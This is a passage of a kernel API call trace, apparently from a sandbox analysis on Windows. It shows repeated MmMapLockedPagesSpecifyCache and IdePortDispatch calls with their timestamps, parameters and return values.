Priority=0xfffff80000000000) returned 0xfffff8800354e000 [0109.979] IdePortDispatch () returned 0x103 [0109.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7b000 [0109.994] IdePortDispatch () returned 0x103 [0109.994] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d7f000 [0109.994] IdePortDispatch () returned 0x103 [0109.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d82000 [0109.995] IdePortDispatch () returned 0x103 [0109.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d85000 [0109.995] IdePortDispatch () returned 0x103 [0109.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d88000 [0109.996] IdePortDispatch () returned 0x103 [0110.033] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003591000 [0110.033] IdePortDispatch () returned 0x103 [0110.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003595000 [0110.034] IdePortDispatch () returned 0x103 [0110.035] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003598000 [0110.035] IdePortDispatch () returned 0x103 [0110.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359b000 [0110.037] IdePortDispatch () returned 0x103 [0110.040] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4a000 [0110.040] IdePortDispatch () returned 0x103 [0110.042] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4d000 [0110.042] IdePortDispatch () returned 0x103 [0110.085] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e5000 [0110.085] IdePortDispatch () returned 0x103 [0110.091] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ef000 [0110.091] IdePortDispatch () returned 0x103 [0110.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f3000 [0110.092] IdePortDispatch () returned 0x103 [0110.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f6000 [0110.094] IdePortDispatch () returned 0x103 [0110.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f9000 [0110.095] IdePortDispatch () returned 0x103 [0110.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034fc000 [0110.095] IdePortDispatch () returned 0x103 [0110.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ff000 [0110.096] IdePortDispatch () returned 0x103 [0110.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003502000 [0110.097] IdePortDispatch () returned 0x103 [0110.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003522000 [0110.098] IdePortDispatch () returned 0x103 [0110.099] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003526000 [0110.099] IdePortDispatch () returned 0x103 [0110.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003529000 [0110.104] IdePortDispatch () returned 0x103 [0110.105] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352c000 [0110.105] IdePortDispatch () returned 0x103 [0110.105] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352f000 [0110.106] IdePortDispatch () returned 0x103 [0110.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b8000 [0110.111] IdePortDispatch () returned 0x103 [0110.112] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bb000 [0110.112] IdePortDispatch () returned 0x103 [0110.113] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bf000 [0110.113] IdePortDispatch () returned 0x103 [0110.114] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c2000 [0110.114] IdePortDispatch () returned 0x103 [0110.115] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c5000 [0110.115] IdePortDispatch () returned 0x103 [0110.117] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb000 [0110.117] IdePortDispatch () returned 0x103 [0110.118] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ce000 [0110.118] IdePortDispatch () returned 0x103 [0110.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9f000 [0110.145] IdePortDispatch () returned 0x103 [0110.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0110.146] IdePortDispatch () returned 0x103 [0110.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da5000 [0110.146] IdePortDispatch () returned 0x103 [0110.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da8000 [0110.147] IdePortDispatch () returned 0x103 [0110.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dab000 [0110.147] IdePortDispatch () returned 0x103 [0110.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db4000 [0110.157] IdePortDispatch () returned 0x103 [0110.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db8000 [0110.158] IdePortDispatch () returned 0x103 [0110.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbb000 [0110.158] IdePortDispatch () returned 0x103 [0110.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0110.159] IdePortDispatch () returned 0x103 [0110.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de3000 [0110.159] IdePortDispatch () returned 0x103 [0110.160] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de6000 [0110.160] IdePortDispatch () returned 0x103 [0110.160] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de9000 [0110.160] IdePortDispatch () returned 0x103 [0110.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ded000 [0110.161] IdePortDispatch () returned 0x103 [0110.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df0000 [0110.162] IdePortDispatch () returned 0x103 [0110.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df3000 [0110.162] IdePortDispatch () returned 0x103 [0110.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df6000 [0110.162] IdePortDispatch () returned 0x103 [0110.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfa000 [0110.163] IdePortDispatch () returned 0x103 [0110.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfd000 [0110.163] IdePortDispatch () returned 0x103 [0110.164] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003408000 [0110.164] IdePortDispatch () returned 0x103 [0110.167] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340a000 [0110.168] IdePortDispatch () returned 0x103 [0110.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340c000 [0110.168] IdePortDispatch () returned 0x103 [0110.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340f000 [0110.169] IdePortDispatch () returned 0x103 [0110.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003412000 [0110.169] IdePortDispatch () returned 0x103 [0110.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003415000 [0110.169] IdePortDispatch () returned 0x103 [0110.170] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003419000 [0110.170] IdePortDispatch () returned 0x103 [0110.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800341b000 [0110.171] IdePortDispatch () returned 0x103 [0110.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800341e000 [0110.171] IdePortDispatch () returned 0x103 [0110.171] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0110.171] IdePortDispatch () returned 0x103 [0110.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003424000 [0110.172] IdePortDispatch () returned 0x103 [0110.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003426000 [0110.172] IdePortDispatch () returned 0x103 [0110.173] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003428000 [0110.173] IdePortDispatch () returned 0x103 [0110.173] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342a000 [0110.173] IdePortDispatch () returned 0x103 [0110.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342c000 [0110.177] IdePortDispatch () returned 0x103 [0110.177] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342e000 [0110.177] IdePortDispatch () returned 0x103 [0110.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0110.178] IdePortDispatch () returned 0x103 [0110.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003443000 [0110.178] IdePortDispatch () returned 0x103 [0110.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003445000 [0110.178] IdePortDispatch () returned 0x103 [0110.179] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003447000 [0110.179] IdePortDispatch () returned 0x103 [0110.179] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003449000 [0110.179] IdePortDispatch () returned 0x103 [0110.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344c000 [0110.180] IdePortDispatch () returned 0x103 [0110.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344e000 [0110.181] IdePortDispatch () returned 0x103 [0110.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003451000 [0110.181] IdePortDispatch () returned 0x103 [0110.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003454000 [0110.182] IdePortDispatch () returned 0x103 [0110.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003457000 [0110.182] IdePortDispatch () returned 0x103 [0110.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345a000 [0110.183] IdePortDispatch () returned 0x103 [0110.187] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345d000 [0110.187] IdePortDispatch () returned 0x103 [0110.188] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0110.188] IdePortDispatch () returned 0x103 [0110.190] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003478000 [0110.190] IdePortDispatch () returned 0x103 [0110.191] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347a000 [0110.191] IdePortDispatch () returned 0x103 [0110.191] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347d000 [0110.191] IdePortDispatch () returned 0x103 [0110.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347f000 [0110.192] IdePortDispatch () returned 0x103 [0110.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003481000 [0110.192] IdePortDispatch () returned 0x103 [0110.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0110.193] IdePortDispatch () returned 0x103 [0110.193] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003488000 [0110.193] IdePortDispatch () returned 0x103 [0110.195] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348e000 [0110.195] IdePortDispatch () returned 0x103 [0110.195] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003491000 [0110.195] IdePortDispatch () returned 0x103 [0110.195] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003494000 [0110.195] IdePortDispatch () returned 0x103 [0110.196] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003499000 [0110.196] IdePortDispatch () returned 0x103 [0110.197] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349f000 [0110.197] IdePortDispatch () returned 0x103 [0110.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a2000 [0110.198] IdePortDispatch () returned 0x103 [0110.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a4000 [0110.198] IdePortDispatch () returned 0x103 [0110.199] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a7000 [0110.199] IdePortDispatch () returned 0x103 [0110.199] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a9000 [0110.199] IdePortDispatch () returned 0x103 [0110.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ab000 [0110.200] IdePortDispatch () returned 0x103 [0110.200] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ad000 [0110.200] IdePortDispatch () returned 0x103 [0110.201] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034af000 [0110.201] IdePortDispatch () returned 0x103 [0110.207] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c0000 [0110.208] IdePortDispatch () returned 0x103 [0110.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d7000 [0110.215] IdePortDispatch () returned 0x103 [0110.216] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035df000 [0110.216] IdePortDispatch () returned 0x103 [0110.384] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d13000 [0110.384] IdePortDispatch () returned 0x103 [0110.385] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d18000 [0110.385] IdePortDispatch () returned 0x103 [0110.387] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1d000 [0110.387] IdePortDispatch () returned 0x103 [0110.387] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d22000 [0110.387] IdePortDispatch () returned 0x103 [0110.388] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 